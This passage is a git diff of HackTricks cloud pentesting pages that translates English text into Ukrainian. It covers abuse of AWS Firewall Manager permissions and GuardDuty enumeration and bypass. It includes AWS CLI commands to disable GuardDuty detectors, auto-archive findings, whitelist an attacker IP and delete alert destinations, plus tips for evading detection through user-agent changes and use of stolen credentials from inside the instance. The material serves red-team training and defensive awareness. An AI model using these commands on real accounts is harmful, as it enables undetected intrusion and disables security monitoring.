постачальників і має повний адміністративний обсяг. +- Він слугує основним обліковим записом адміністратора для Firewall Manager, відповідальним за налаштування та застосування політик безпеки по всій організації. +- Хоча адміністратор за замовчуванням має повний доступ до всіх типів ресурсів та адміністративних функцій, він працює на тому ж рівні, що й інші адміністратори, якщо в організації використовується кілька адміністраторів. +- **Адміністратори Firewall Manager:** +- Ці адміністратори можуть управляти ресурсами в межах обсягу, визначеного обліковим записом управління AWS Organizations, як це визначено конфігурацією адміністративного обсягу. +- Адміністратори Firewall Manager створюються для виконання специфічних ролей в організації, що дозволяє делегувати обов'язки, зберігаючи при цьому стандарти безпеки та відповідності. +- Після створення Firewall Manager перевіряє з AWS Organizations, щоб визначити, чи є обліковий запис вже делегованим адміністратором. Якщо ні, Firewall Manager викликає Organizations, щоб призначити обліковий запис делегованим адміністратором для Firewall Manager. -Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources. +Управління цими обліковими записами адміністратора включає їх створення в Firewall Manager та визначення їх адміністративних обсягів відповідно до вимог безпеки організації та принципу найменшого привілею. Призначаючи відповідні адміністративні ролі, організації можуть забезпечити ефективне управління безпекою, зберігаючи при цьому детальний контроль над доступом до чутливих ресурсів. -It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed: +Важливо підкреслити, що **лише один обліковий запис в організації може виконувати роль адміністратора за замовчуванням Firewall Manager**, дотримуючись принципу "**перший прийшов, останній вийшов**". Щоб призначити нового адміністратора за замовчуванням, необхідно виконати ряд кроків: -- First, each Firewall Administrator administrator account must revoke their own account. -- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account. -- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator. +- По-перше, кожен обліковий запис адміністратора Firewall Administrator повинен відкликати свій власний обліковий запис. +- Потім існуючий адміністратор за замовчуванням може відкликати свій власний обліковий запис, фактично виводячи організацію з Firewall Manager. Цей процес призводить до видалення всіх політик Firewall Manager, створених відкликаним обліковим записом. +- На завершення, обліковий запис управління AWS Organizations повинен призначити адміністратора за замовчуванням Firewall Manager. ## Enumeration - ``` # Users/Administrators @@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` - -## Post Exploitation / Bypass Detection +## Постексплуатація / Обхід виявлення ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association. - -- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account. -- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**. -- The creation of a Firewall Manager administrator account can only be done by the organization's management account. +Зловмисник з дозволом **`fms:AssociateAdminAccount`** зможе встановити обліковий запис адміністратора за замовчуванням для Firewall Manager. З дозволом **`fms:PutAdminAccount`** зловмисник зможе створити або оновити обліковий запис адміністратора Firewall Manager, а з дозволом **`fms:DisassociateAdminAccount`** потенційний зловмисник зможе видалити асоціацію поточного облікового запису адміністратора Firewall Manager. +- Від'єднання **облікового запису адміністратора за замовчуванням Firewall Manager відбувається за принципом перший прийшов - останній вийшов**. Усі адміністратори Firewall Manager повинні від'єднатися, перш ніж обліковий запис адміністратора за замовчуванням Firewall Manager зможе від'єднати обліковий запис. +- Щоб створити адміністратора Firewall Manager за допомогою **PutAdminAccount**, обліковий запис повинен належати організації, яка раніше була підключена до Firewall Manager за допомогою **AssociateAdminAccount**. +- Створення облікового запису адміністратора Firewall Manager може бути виконано лише обліковим записом управління організації. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` - -**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment. +**Потенційний вплив:** Втрата централізованого управління, ухилення від політики, порушення відповідності та порушення контролю безпеки в середовищі. ### `fms:PutPolicy`, `fms:DeletePolicy` -An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy. - +Зловмисник з правами **`fms:PutPolicy`**, **`fms:DeletePolicy`** зможе створювати, змінювати або назавжди видаляти політику AWS Firewall Manager. ```bash aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` - -An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one: - +Приклад поблажливої політики через поблажливу групу безпеки, щоб обійти виявлення, може бути таким: ```json { - "Policy": { - "PolicyName": "permisive_policy", - "SecurityServicePolicyData": { - "Type": "SECURITY_GROUPS_COMMON", - "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" - }, - "ResourceTypeList": [ - "AWS::EC2::Instance", - "AWS::EC2::NetworkInterface", - "AWS::EC2::SecurityGroup", - "AWS::ElasticLoadBalancingV2::LoadBalancer", - "AWS::ElasticLoadBalancing::LoadBalancer" - ], - "ResourceType": "AWS::EC2::SecurityGroup", - "ExcludeResourceTags": false, - "ResourceTags": [], - "RemediationEnabled": true - }, - "TagList": [] +"Policy": { +"PolicyName": "permisive_policy", +"SecurityServicePolicyData": { +"Type": "SECURITY_GROUPS_COMMON", +"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" +}, +"ResourceTypeList": [ +"AWS::EC2::Instance", +"AWS::EC2::NetworkInterface", +"AWS::EC2::SecurityGroup", +"AWS::ElasticLoadBalancingV2::LoadBalancer", +"AWS::ElasticLoadBalancing::LoadBalancer" +], +"ResourceType": "AWS::EC2::SecurityGroup", +"ExcludeResourceTags": false, +"ResourceTags": [], +"RemediationEnabled": true +}, +"TagList": [] } ``` - -**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment. +**Потенційний вплив:** Демонтаж засобів безпеки, ухилення від політики, порушення відповідності, оперативні збої та потенційні витоки даних у середовищі. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager. - +Атакуючий з правами **`fms:BatchAssociateResource`** та **`fms:BatchDisassociateResource`** зможе асоціювати або деасоціювати ресурси з набору ресурсів Firewall Manager відповідно. Крім того, права **`fms:PutResourceSet`** та **`fms:DeleteResourceSet`** дозволять атакуючому створювати, змінювати або видаляти ці набори ресурсів з AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -231,83 +222,68 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` - -**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment. +**Потенційний вплив:** Додавання надмірної кількості елементів до набору ресурсів збільшить рівень шуму в Сервісі, що потенційно може викликати DoS. Крім того, зміни наборів ресурсів можуть призвести до порушення ресурсів, ухилення від політики, порушення вимог та порушення контролю безпеки в середовищі. ### `fms:PutAppsList`, `fms:DeleteAppsList` -An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS. - +Зловмисник з правами **`fms:PutAppsList`** та **`fms:DeleteAppsList`** зможе створювати, змінювати або видаляти списки додатків з AWS Firewall Manager. Це може бути критично важливо, оскільки несанкціонованим додаткам може бути надано доступ до загальної публіки, або доступ до авторизованих додатків може бути відхилено, що викликає DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Потенційний вплив:** Це може призвести до неправильних налаштувань, ухилення від політики, порушень відповідності та порушення контролю безпеки в середовищі. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS. - +Зловмисник з правами **`fms:PutProtocolsList`** та **`fms:DeleteProtocolsList`** зможе створювати, змінювати або видаляти списки протоколів з AWS Firewall Manager. Аналогічно до списків додатків, це може бути критично важливим, оскільки несанкціоновані протоколи можуть використовуватися загальною публікою, або використання санкціонованих протоколів може бути заборонено, що призведе до DoS. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Потенційний вплив:** Це може призвести до неправильних налаштувань, ухилення від політики, порушень відповідності та порушення контролю безпеки в середовищі. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs. +Зловмисник з правами **`fms:PutNotificationChannel`** та **`fms:DeleteNotificationChannel`** зможе видаляти та призначати IAM роль і тему Amazon Simple Notification Service (SNS), яку Firewall Manager використовує для запису журналів SNS. -To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role. +Щоб використовувати **`fms:PutNotificationChannel`** поза консоллю, потрібно налаштувати політику доступу до теми SNS, дозволяючи вказаному **SnsRoleName** публікувати журнали SNS. Якщо наданий **SnsRoleName** є роллю, відмінною від **`AWSServiceRoleForFMS`**, вона вимагає налаштування довірчих відносин, щоб дозволити основному сервісу Firewall Manager **fms.amazonaws.com** приймати цю роль. -For information about configuring an SNS access policy: +Для отримання інформації про налаштування політики доступу до SNS: {{#ref}} ../aws-sns-enum.md {{#endref}} - ```bash aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` - -**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment. +**Потенційний вплив:** Це може призвести до пропущених сповіщень про безпеку, затримки у реагуванні на інциденти, потенційних витоків даних та оперативних збоїв у середовищі. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager. +Зловмисник з правами **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** зможе асоціювати або дезасоціювати сторонні брандмауери для централізованого управління через AWS Firewall Manager. > [!WARNING] -> Only the default administrator can create and manage third-party firewalls. - +> Тільки за замовчуванням адміністратор може створювати та керувати сторонніми брандмауерами. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` - -**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation. +**Потенційний вплив:** Від'єднання призведе до ухилення від політики, порушення вимог та порушення контролю безпеки в середовищі. З іншого боку, асоціація призведе до порушення розподілу витрат та бюджету. ### `fms:TagResource`, `fms:UntagResource` -An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Зловмисник зможе додавати, змінювати або видаляти теги з ресурсів Firewall Manager, порушуючи розподіл витрат вашої організації, відстеження ресурсів та політики контролю доступу на основі тегів. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` +**Потенційний вплив**: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів. -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. - -## References +## Посилання - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html) - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 2794852d3..3053bccad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,64 +4,63 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs. +Згідно з [**документацією**](https://aws.amazon.com/guardduty/features/): GuardDuty поєднує **машинне навчання, виявлення аномалій, моніторинг мережі та виявлення шкідливих файлів**, використовуючи як AWS, так і провідні джерела третіх сторін для захисту робочих навантажень і даних на AWS. GuardDuty здатний аналізувати десятки мільярдів подій з кількох джерел даних AWS, таких як журнали подій AWS CloudTrail, журнали потоків Amazon Virtual Private Cloud (VPC), журнали аудиту та системні журнали Amazon Elastic Kubernetes Service (EKS), а також журнали запитів DNS. -Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation. +Amazon GuardDuty **виявляє незвичну активність у ваших облікових записах**, аналізує **безпекову значущість** цієї активності та надає **контекст**, у якому вона була викликана. Це дозволяє відповідальному особі визначити, чи варто витрачати час на подальше розслідування. -Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. +Сповіщення **з'являються в консолі GuardDuty (90 днів)** та CloudWatch Events. > [!WARNING] -> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\ -> If you just stop it, the existing findings will remain. +> Коли користувач **вимикає GuardDuty**, він перестає моніторити ваше середовище AWS і не генеруватиме нових виявлень, а **існуючі виявлення будуть втрачені**.\ +> Якщо ви просто зупините його, існуючі виявлення залишаться. -### Findings Example +### Приклад Виявлень -- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP. -- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS. -- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses. -- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets. +- **Розвідка**: Активність, що вказує на розвідку зловмисника, така як **незвична активність API**, підозрілі спроби **входу** в базу даних, внутрішньо-VPC **сканування портів**, незвичні шаблони невдалих запитів на вхід, або проби незаблокованих портів з відомого поганого IP. +- **Компрометація інстансу**: Активність, що вказує на компрометацію інстансу, така як **майнінг криптовалюти, активність командного та контрольного (C\&C)** доступу, шкідливе ПЗ, що використовує алгоритми генерації доменів (DGA), вихідна активність відмови в обслуговуванні, незвично **високий обсяг** мережевого трафіку, незвичні мережеві протоколи, вихідна комунікація інстансу з відомим шкідливим IP, тимчасові облікові дані Amazon EC2, що використовуються зовнішньою IP-адресою, та ексфільтрація даних за допомогою DNS. +- **Компрометація облікового запису**: Загальні шаблони, що вказують на компрометацію облікового запису, включають виклики API з незвичної геолокації або анонімного проксі, спроби вимкнути ведення журналів AWS CloudTrail, зміни, що послаблюють політику паролів облікового запису, незвичні запуски інстансів або інфраструктури, розгортання інфраструктури в незвичному регіоні, крадіжка облікових даних, підозріла активність входу в базу даних, та виклики API з відомих шкідливих IP-адрес. +- **Компрометація бакету**: Активність, що вказує на компрометацію бакету, така як підозрілі шаблони доступу до даних, що вказують на зловживання обліковими даними, незвична активність API Amazon S3 з віддаленого хоста, несанкціонований доступ до S3 з відомих шкідливих IP-адрес, та виклики API для отримання даних у S3 бакетах від користувача без попередньої історії доступу до бакету або викликані з незвичного місця. Amazon GuardDuty постійно моніторить та аналізує події даних AWS CloudTrail S3 (наприклад, GetObject, ListObjects, DeleteObject) для виявлення підозрілої активності у всіх ваших бакетах Amazon S3.
-Finding Information +Інформація про Виявлення -Finding summary: +Резюме виявлення: -- Finding type -- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low -- Region -- Account ID -- Resource ID -- Time of detection -- Which threat list was used +- Тип виявлення +- Серйозність: 7-8.9 Висока, 4-6.9 Середня, 01-3.9 Низька +- Регіон +- ID облікового запису +- ID ресурсу +- Час виявлення +- Який список загроз був використаний -The body has this information: +Тіло містить цю інформацію: -- Resource affected -- Action -- Actor: Ip address, port and domain -- Additional Information +- Впливовий ресурс +- Дія +- Актор: IP-адреса, порт та домен +- Додаткова інформація
-### All Findings +### Усі Виявлення -Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Отримайте список усіх виявлень GuardDuty за адресою: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) -### Multi Accounts +### Багато Облікових Записів -#### By Invitation +#### За Запрошенням -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. +Ви можете **запросити інші облікові записи** до іншого облікового запису AWS GuardDuty, щоб **кожен обліковий запис моніторився з одного GuardDuty**. Головний обліковий запис повинен запросити облікові записи учасників, а потім представник облікового запису учасника повинен прийняти запрошення. -#### Via Organization +#### Через Організацію -You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. +Ви можете призначити будь-який обліковий запис у межах організації **делегованим адміністратором GuardDuty**. Тільки обліковий запис управління організацією може призначити делегованого адміністратора. -An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. - -## Enumeration +Обліковий запис, який призначається делегованим адміністратором, стає обліковим записом адміністратора GuardDuty, автоматично має увімкнений GuardDuty у призначеному регіоні AWS, а також має **дозвіл на увімкнення та управління GuardDuty для всіх облікових записів в організації в цьому регіоні**. Інші облікові записи в організації можуть бути переглянуті та додані як облікові записи учасників GuardDuty, пов'язані з цим делегованим адміністратором. +## Перерахування ```bash # Get Org config aws guardduty list-organization-admin-accounts #Get Delegated Administrator @@ -101,83 +100,74 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` - ## GuardDuty Bypass ### General Guidance -Try to find out as much as possible about the behaviour of the credentials you are going to use: +Спробуйте дізнатися якомога більше про поведінку облікових даних, які ви збираєтеся використовувати: -- Times it's used -- Locations -- User Agents / Services (It could be used from awscli, webconsole, lambda...) -- Permissions regularly used +- Час, коли вони використовуються +- Локації +- User Agents / Сервіси (Вони можуть використовуватися з awscli, webconsole, lambda...) +- Дозволи, які регулярно використовуються -With this information, recreate as much as possible the same scenario to use the access: +З цією інформацією, відтворіть якомога більше той же сценарій для використання доступу: -- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible) -- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges -- Always try to use the **same permissions** this principal has used -- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one) +- Якщо це **користувач або роль, доступна користувачем**, спробуйте використовувати її в ті ж години, з тієї ж геолокації (навіть з того ж ISP та IP, якщо можливо) +- Якщо це **роль, яку використовує сервіс**, створіть той же сервіс у тій же області та використовуйте його звідти в ті ж часові проміжки +- Завжди намагайтеся використовувати **ті ж дозволи**, які використовував цей принципал +- Якщо вам потрібно **використовувати інші дозволи або зловживати дозволом** (наприклад, завантажити 1.000.000 файлів журналу cloudtrail), робіть це **повільно** і з **мінімальною кількістю взаємодій** з AWS (awscli іноді викликає кілька API для читання перед записом) ### Breaking GuardDuty #### `guardduty:UpdateDetector` -With this permission you could disable GuardDuty to avoid triggering alerts. - +З цим дозволом ви можете вимкнути GuardDuty, щоб уникнути спрацьовування сповіщень. ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` - #### `guardduty:CreateFilter` -Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings: - +Зловмисники з цим дозволом мають можливість **використовувати фільтри для автоматичного** архівування знахідок: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` - #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) by adding their IP address to it and avoid generating alerts. - +Зловмисники з попередніми привілеями могли змінити [**Список довірених IP**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) GuardDuty, додавши свою IP-адресу до нього та уникнути генерації сповіщень. ```bash aws guardduty update-ip-set --detector-id --activate --ip-set-id --location https://some-bucket.s3-eu-west-1.amazonaws.com/attacker.csv ``` - #### `guardduty:DeletePublishingDestination` -Attackers could remove the destination to prevent alerting: - +Зловмисники можуть видалити призначення, щоб запобігти сповіщенням: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` - > [!CAUTION] -> Deleting this publishing destination will **not affect the generation or visibility of findings within the GuardDuty console**. GuardDuty will continue to analyze events in your AWS environment, identify suspicious or unexpected behavior, and generate findings. +> Видалення цього публікаційного призначення **не вплине на генерацію або видимість висновків у консолі GuardDuty**. GuardDuty продовжить аналізувати події у вашому середовищі AWS, виявляти підозрілу або несподівану поведінку та генерувати висновки. -### Specific Findings Bypass Examples +### Приклади обходу специфічних висновків -Note that there are tens of GuardDuty findings, however, **as Red Teamer not all of them will affect you**, and what is better, you have the f**ull documentation of each of them** in [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) so take a look before doing any action to not get caught. +Зверніть увагу, що існує десятки висновків GuardDuty, однак, **як Red Teamer, не всі з них вплинуть на вас**, і що краще, у вас є **повна документація на кожен з них** в [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html), тому ознайомтеся з нею перед виконанням будь-яких дій, щоб не бути спійманим. -Here you have a couple of examples of specific GuardDuty findings bypasses: +Ось кілька прикладів специфічних обходів висновків GuardDuty: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) -GuardDuty detect AWS API requests from common penetration testing tools and trigger a [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ -It's detected by the **user agent name** that is passed in the API request.\ -Therefore, **modifying the user agent** it's possible to prevent GuardDuty from detecting the attack. +GuardDuty виявляє запити API AWS з загальних інструментів тестування на проникнення та активує [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux).\ +Це виявляється за **назвою агента користувача**, яка передається в запиті API.\ +Отже, **модифікація агента користувача** може запобігти виявленню атаки GuardDuty. -To prevent this you can search from the script `session.py` in the `botocore` package and modify the user agent, or set Burp Suite as the AWS CLI proxy and change the user-agent with the MitM or just use an OS like Ubuntu, Mac or Windows will prevent this alert from triggering. +Щоб запобігти цьому, ви можете знайти скрипт `session.py` у пакеті `botocore` і змінити агента користувача, або налаштувати Burp Suite як проксі для AWS CLI та змінити агента користувача за допомогою MitM або просто використовувати ОС, таку як Ubuntu, Mac або Windows, що запобігатиме спрацьовуванню цього сповіщення. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -Extracting EC2 credentials from the metadata service and **utilizing them outside** the AWS environment activates the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) alert. Conversely, employing these credentials from your EC2 instance triggers the [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) alert. Yet, **using the credentials on another compromised EC2 instance within the same account goes undetected**, raising no alert. +Витягування облікових даних EC2 з сервісу метаданих та **використання їх поза** середовищем AWS активує сповіщення [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws). Навпаки, використання цих облікових даних з вашого EC2 екземпляра активує сповіщення [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws). Проте, **використання облікових даних на іншому скомпрометованому EC2 екземплярі в межах того ж облікового запису залишається непоміченим**, не викликаючи жодного сповіщення. > [!TIP] -> Therefore, **use the exfiltrated credentials from inside the machine** where you found them to not trigger this alert. +> Тому, **використовуйте ексфільтровані облікові дані зсередини машини**, де ви їх знайшли, щоб не активувати це сповіщення. ## References @@ -191,7 +181,3 @@ Extracting EC2 credentials from the metadata service and **utilizing them outsid - [https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html](https://docs.aws.amazon.com/whitepapers/latest/aws-privatelink/what-are-vpc-endpoints.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 655b81fa7..355b3e713 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,53 +6,53 @@ ### Inspector -Amazon Inspector is an advanced, automated vulnerability management service designed to enhance the security of your AWS environment. This service continuously scans Amazon EC2 instances, container images in Amazon ECR, Amazon ECS, and AWS Lambda functions for vulnerabilities and unintended network exposure. By leveraging a robust vulnerability intelligence database, Amazon Inspector provides detailed findings, including severity levels and remediation recommendations, helping organizations proactively identify and address security 